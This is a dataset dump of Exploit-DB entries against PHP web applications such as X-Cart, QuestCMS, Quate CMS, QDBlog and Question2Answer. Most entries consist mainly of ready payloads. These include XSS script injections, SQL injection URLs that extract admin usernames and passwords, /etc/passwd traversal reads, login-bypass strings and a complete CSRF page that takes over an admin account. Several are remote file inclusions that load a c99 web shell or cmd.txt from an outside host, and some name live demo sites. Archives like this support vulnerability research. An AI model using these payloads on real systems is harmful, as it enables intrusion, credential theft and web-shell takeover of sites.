deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25765
Description: Qualiteam X-Cart 4.0.8 - 'search.php?mode' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-30
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13817/info
      
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
      
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/search.php?mode='><script>alert(document.cookie)</script>
Exploit-DB #25773
Description: Qualiteam X-Cart 4.0.8 - 'search.php?mode' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-30
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13817/info
              
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
              
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
              
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/search.php?mode='[SQL-inj]
Exploit-DB #11808
Description: quality point 1.0 newsfeed - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-03-19
Author: Red-D3v1L

Exploit:
sEc-r1z crEw The Leaders for Penetration Testing In Middle East.
+===================================================================================+
            ./SEC-R1Z   _ __ _  _ _ _ ___ _ _ _ _   __  _ _ _ _ _         
            / /_ _ _ _ /   _ _\/   _ _ /\        \<   |/_ _ _ _ /
            \ \_ _ _ _/  /___ /  /   __  |  |)   / |  |   /   /
             \_ _ _ _/  /___ /  /  | __ ||      /  |  |  /   /
              _______\  \_ _ \  \2_0_1_0 |      \  |  | /   /____
            /_ _ _ _ _\ _ _ _/\ _ _ _ /  |__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!!
+===================================================================================+
  
    [?] ~ Note : sEc-r1z CrEw# r0x !
==============================================================================
    [?] Quality Point 1.0 NewsFeed (SQL/XSS) Multiple Remote Vulnerabilities
==============================================================================
    [?] My home:              [ http://sec-r1z.com ]
    [?] For Ask:              [r-d@passport.com]
    [?] Script:               [ Quality Point 1.0 ]
    [?] home Script           [ http://qualitypointtech.net ]
    [?] Language:             [ PHP ]
    [?[ Best WishEs :         [ The Love is End ... ]
    [?] Founder:              [ Red-D3v1L ]
    [?] Gr44tz to:            [ sec-r1z# CrEw - Mr.Tro0oqy - r1z - Sas-TerrOrisT And All My Frindes ]
########################################################################
    
===[ Exploit SQL ]===
 
    
[»]Exploit :
 
path/showPage.php?id=[SQL injection ]

[>>] Demo : 

http://server/NewsFeed/showPage.php?id=-348+union+select+1,concat%28email,0x3e,version%28%29,0x3e,password%29,3,4,5+from+qualityp_fnt.users%20--

------------
===[ Exploit XSS ]===

[»]Exploit :

showPage.php?id=[XSS]

[>>] Demo : 

http://server/NewsFeed/showPage.php?id=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E

-----------------------
Exploit-DB #5174
Description: Quantum Game Library 0.7.2c - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-02-22
Author: RoMaNcYxHaCkEr

Exploit:
# Name : Quantum Game Library 0.7.2c Multiple Remote File Include
# Download From : http://garr.dl.sourceforge.net/sourceforge/quantumstar/qsgen_0.7.2c.zip
# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]          
# Home Page :  WwW.4RxH.CoM  
+============================================================================+
# Vulne Code In Files server_request.php & smarty.inc.php In Line 2 & 1 :
require_once($CONFIG['gameroot']."/qlib/config/config.inc.php");
require_once($CONFIG['gameroot']."/qlib/smarty/libs/Smarty.class.php");
# Exploit :
http://www.4rxh.com/qsgen_0.7.2c/server_request.php?CONFIG[gameroot]=http://rxh.freehostia.com/shells/c99in.txt?
http://www.4rxh.com/qsgen_0.7.2c/qlib/smarty.inc.php?CONFIG[gameroot]=http://rxh.freehostia.com/shells/c99in.txt?
That,s It,s
Good Luck Everybody
+============================================================================+
# Greet To :
Tryag TeaM & All Members Of My Forum
# For Contact : RxH@HotMail.iT
# Note : Yesterday I Help You !! Tomorrow Fuck Me !!! Fuck All Snitches !!! But Do You Know What !!! That,s Is My Mistake
Best Wishes

# milw0rm.com [2008-02-22]
Exploit-DB #34875
Description: QuarkMail - 'tf' Directory Traversal
Type: webapps
Platform: php
Date: 2009-08-28
Author: Securitylab.ir

Exploit:
source: https://www.securityfocus.com/bid/44226/info

QuarkMail is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. 

http://www.example.com/cgi-bin/get_message.cgi?sk=tERZ6WI1&fd=inbox&p=1&l=10&max=2&lang=gb&tf=../../../../../../../ etc/passwd%00&id=2&sort=0&read_flag=yes
Exploit-DB #6211
Description: Quate CMS 0.3.4 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-06
Author: CraCkEr

Exploit:
???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??               [ Local File Include ] [ XSS ]                             ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : N/A                    ? ?                                    ?
?   Script   : Quate CMS 0.3.4        ? ?         Register Globals :         ?
?   Download : quate.net              ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????

[LFI]
  
http://localhost/path/admin/includes/footer.php?row_secure[account_theme]=[LFI]
http://localhost/path/admin/includes/footer.php?admin_template_default=[LFI]

[XSS]

http://localhost/path/admin/includes/themes/default/header.php?page_area=[XSS]
http://localhost/path/admin/includes/themes/default/header.php?page_header=[XSS]

   
??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, His0k4, Hussin X, Mr. SQL .

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-08-06]
Exploit-DB #32186
Description: Quate CMS 0.3.4 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-08-06
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30570/info

Quate CMS is prone to multiple cross-site scripting vulnerabilities because it fails to adequately sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Quate CMS 0.3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/path/admin/includes/themes/default/header.php?page_area=[XSS]
http://www.example.com/path/admin/includes/themes/default/header.php?page_header=[XSS]
Exploit-DB #2137
Description: QuestCMS - 'main.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: Crackers_Child

Exploit:
!!!!!!!!!WWW.SÝBERSAVASCÝLAR.COM!!!!!!!!!
--------------------------------------------------------------------------------

Title : Questcms Remote File Include Vulnerability

--------------------------------------------------------------------------------
#Author: Crackers_Child


#cont@ct: crackers_child@sibersavascilar.com

--------------------------------------------------------------------------------
Affected software description :
--------------------------------------------------------------------------------
Application :  Questwork Web Content Management system (QuestCMS)
URL :  http://www.questwork.com

--------------------------------------------------------------------------------

dork        : allinurl:"/questcms/"
Exploit     :

--------------------------------------------------------------------------------

Usage:

http://[target]/[questcms_path]/main/main.php?pi=http://[evilhost]/cmd.txt?&cmd=ls

--------------------------------------------------------------------------------

greets:

X_ALPREN_X,Root_Mor and My Other Friends

--------------------------------------------------------------------------------



--------------------------------- [ WWW.SÝBERSAVASCÝLAR.COM ] --------------------------------------

# milw0rm.com [2006-08-07]
Exploit-DB #6853
Description: QuestCMS - Cross-Site Scripting / Directory Traversal / SQL Injection
Type: webapps
Platform: php
Date: 2008-10-27
Author: d3b4g

Exploit:
--------------------------------------------------------------------------------

Title : Questcms Multiple Remote Vulnerabilities [XSS/Directory Traversal/sql]

--------------------------------------------------------------------------------
#Author: d3b4g


#contact: bl4ckend[at]gmail[dot]com

--------------------------------------------------------------------------------
Affected software:
--------------------------------------------------------------------------------
Application :  Questwork Web Content Management system (QuestCMS)
URL :  http://www.questwork.com

--------------------------------------------------------------------------------

dork        : allinurl:"/questcms/"
--------------------------------------------------------------------------------
Directory traversal vulnibility
=============================
Exploit     : questcms/main/main.php?lang=tc&page=1&theme=../../../../../../../../etc/passwd%00.html

Live demo   : http://www.questwork.com/questcms/main/main.php?lang=tc&page=1&theme=../../../../../../../../etc/passwd%00.html


---------------------------------------------------------------------------------

sql injection:
==============
Vuln file:questcms/main/main.php?obj=[sql]


XSS:
====
exploit:/main/main.php?cx=[Xss]
--------------------------------------------------------------------------------



--------------------------------------------------------------------------------

greetz:

All my friends,milw0rm...

--------------------------------------------------------------------------------



--------------------------------- [ www.hotlism.org ] --------------------------------------

# milw0rm.com [2008-10-27]
Exploit-DB #38372
Description: Question2Answer - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-03-01
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/58414/info

Question2Answer is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible.

Question2Answer 1.5.4 is vulnerable; other versions may also be affected.

<html>
<head>
<title>Exploit for stealing admin's account in Question2Answer. Made by
MustLive. http://www.example.com</title>
</head>
<body onLoad="StartCSRF()">
<script>
function StartCSRF() {
for (var i=1;i<=2;i++) {
 var ifr = document.createElement("iframe");
 ifr.setAttribute('name', 'csrf'+i);
 ifr.setAttribute('width', '0');
 ifr.setAttribute('height', '0');
 document.body.appendChild(ifr);
}
CSRF1();
setTimeout(CSRF2,1000);
}
function CSRF1() {
window.frames["csrf1"].document.body.innerHTML = '<form name="hack"
action="http://www.example.com/account"; method="post">n<input type="hidden"
name="handle" value="test">n<input type="hidden" name="email"
value="email () attacker com">n<input type="hidden" name="messages"
value="1">n<input type="hidden" name="mailings" value="1">n<input
type="hidden" name="field_1" value="test">n<input type="hidden"
name="field_2" value="test">n<input type="hidden" name="field_3"
value="test">n<input type="hidden" name="dosaveprofile"
value="1">n</form>';
window.frames["csrf1"].document.hack.submit();
}
function CSRF2() {
window.frames["csrf2"].document.body.innerHTML = '<form name="hack"
action="http://www.example.com/attack.php"; method="post">n<input type="hidden"
name="do" value="1">n</form>';
window.frames["csrf2"].document.hack.submit();
}
</script>
</body>
</html>
Exploit-DB #41106
Description: Questions and Answers Script 1.1.3 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection
# Date: 15.01.2017
# Vendor Homepage: http://www.scriptfolder.com/
# Script Name: Questions and Answers Script V1.1.3
# Script Buy Now: http://www.scriptfolder.com/questions-and-answers/
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/question.php?id=[SQL]
# http://localhost/[PATH]/category.php?id=[SQL]
# E.t.c.... 
# # # # #
Exploit-DB #41264
Description: Questions and Answers Script 2.0.0 - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Flippy Answers – Questions and Answers Script v2.0.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-answers-questions-and-answers-script/
# Demo: http://answers.flippydemos.com/
# Version: 2.0.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/category.php?cid=[SQL]
# -9999+/*!50000union*/+select+1,concat_ws(0x3a,adminuser,0x3a,adminpassword),3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,adminuser,0x3a,adminpassword),14,15,16,17,18,19,20,21,23+from+admin-- -
# # # # #
Exploit-DB #9341
Description: Questions Answered 1.3 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-08-03
Author: snakespc

Exploit:
#--------------------------------------------------------
#Questions Answered v1.3 (Auth Bypass) Remote Sql Injection
#--------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com       
#-------------------------------------------------------
#
#Script:Questions Answered v1.3
#
#Demo:www.nichewebsite.net
#--------------------------------------------------------
#Exploit:
#--------
#Demo:http://demo.nichewebsite.net/admin
#Username:admin' or '1=1 
#Password:Super Cristal
----------------------------------------------------------

# milw0rm.com [2009-08-03]
Exploit-DB #49296
Description: Queue Management System 4.0.0 - _Add User_ Stored XSS
Type: webapps
Platform: php
Date: 2020-12-21
Author: Kislay Kumar

Exploit:
# Exploit Title: Queue Management System 4.0.0 - "Add User" Stored XSS

# Exploit Author: Kislay Kumar
# Date: 2020-12-21
# Google Dork: N/A
# Vendor Homepage: http://codekernel.net/
# Software Link: https://codecanyon.net/item/queue-management-system/22029961
# Affected Version: Version 4.0.0
# Patched Version: Unpatched
# Category: Web Application
# Tested on: Kali Linux

Step 1. Login as admin.

Step 2. Select "Users" from menu and click on "Add User .

Step 3. Insert payload - "><svg/onload=alert(1)> in "Firtst Name" , " Last
Name "and " Email ".

Step 4. Now open "User List " from menu and you will get alert box.
Exploit-DB #1798
Description: Quezza BB 1.0 - 'quezza_root_path' File Inclusion
Type: webapps
Platform: php
Date: 2006-05-17
Author: nukedx

Exploit:
Quezza BB <= 1.0 (quezza_root_path) File Inclusion Vulnerability.
Method found by nukedx,
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploit works on Quezza BB <= 1.0
Original advisory can be found at: http://www.nukedx.com/?viewdoc=30
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=http://yourhost.com/cmd.txt?
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=/etc/passwd%00
Succesful exploitation register_globals on for both examples.
# nukedx.com [2006-04-21]

# milw0rm.com [2006-05-17]
Exploit-DB #4603
Description: Quick and Dirty Blog (qdblog) 0.4 - 'categories.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-11-03
Author: GoLd_M

Exploit:
Quick and Dirty Blog 0.4 (categories.php) Local File Inclusion Vulnerability
http://heanet.dl.sourceforge.net/sourceforge/qdblog/qdblog-0.4.tar.bz2
POC:
  /categories.php?theme=../../../../../../../../../etc/passwd%00

# milw0rm.com [2007-11-03]
Exploit-DB #3729
Description: Quick and Dirty Blog (qdblog) 0.4 - SQL Injection / Local File Inclusion
Type: webapps
Platform: php
Date: 2007-04-13
Author: Omni

Exploit:
  .      .        .  
._ | _.  .|_  _. _.;_/
[_)|(_]\_|[ )(_](_.| \.net
|      ._|            
"QDBlog v0.4 - MULTIPLE VULNERABILITIES"
	by Omni

1) Infos
---------
Date            : 2007-04-12
Product         : QDBlog
Version         : v0.4 - Prior version maybe also be affected
Vendor          : http://sourceforge.net/projects/qdblog/
Vendor Status   : 2007-04-12 -> Not Informed!

Description     : QDBlog is an open-source, simple, minimalistic blogging solution. It makes use of PHP and MySQL. It is
                  tiny (goal size is <50kb), and flexible. It designed to be based around choice. However it is
                  more targeted toward the adept user/web master.

Source          : omnipresent - omni
E-mail          : omnipresent[at]email[dot]it - omni[at]playhack[dot]net
Team            : Playhack.net Security

2) Security Issues
-------------------

--- [ SQL Injection - Admin Access Bypass ] ---
===============================================

[ authenticate.php Script - Line 7 - 9 ]

$sql = "SELECT permissions, username FROM $prefix"."auth WHERE username = '" . $_POST['username'] . "' AND password =
MD5('".$_POST['wordpass']."');";

	$query = mysql_query($sql, $conn);

[ end script aithenticate.php ]

As we can see the variables passed with POST method from login.php to authenticate.php (username and password) are not
properly sanitized before being used, so an attacker can inject SQL code and gain access to the administration pannel.

--- [ PoC ] ---
===============

Put in the username field (in login.php) a code like 1' OR '1' = '1' # and in the password filed what you want.
Click.. login and.. have fun :D  

--- [ Local File Inclusion ] ---
================================

There are some security problem, concerning Local File Inclusion, in lots of files of this PHP Blog; for example in
index.php as shown below:

[ categories.php script - Line 2 ]

include("themes/$theme/cat_top.php");

[ end index.php script ]

$theme is not properly sanitized before being used so an attacker can include other files for eg /etc/passwd.

--- [ PoC ] ---
===============

http://remote_host/qdblog/categories.php?theme=../../../../../../../etc/passwd%00


Take again a look to categories.php:
  
in this file there is "an other vulnerability", File Traversal:
 
   Line 3 : $file1 = fopen("themes/$theme/cat_mid.html", "r");



---- [ Patch ] ----

Edit the source code to ensure that the input is validated.

# milw0rm.com [2007-04-13]
Exploit-DB #32389
Description: Quick Cart 3.1 - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-17
Author: John Cobb

Exploit:
source: https://www.securityfocus.com/bid/31216/info

Quick.Cart is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Quick.Cart 3.1 is vulnerable; other versions may also be affected.

http://www.example.com/admin.php?"><script>alert(document.cookie)</script><"
Exploit-DB #31495
Description: Quick Classifieds 1.0 - '/controlpannel/alterNews.php3?DOCUMENT_ROOT' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-24
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28417/info
                
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/alterNews.php3?DOCUMENT_ROOT=ZoRLu.txt?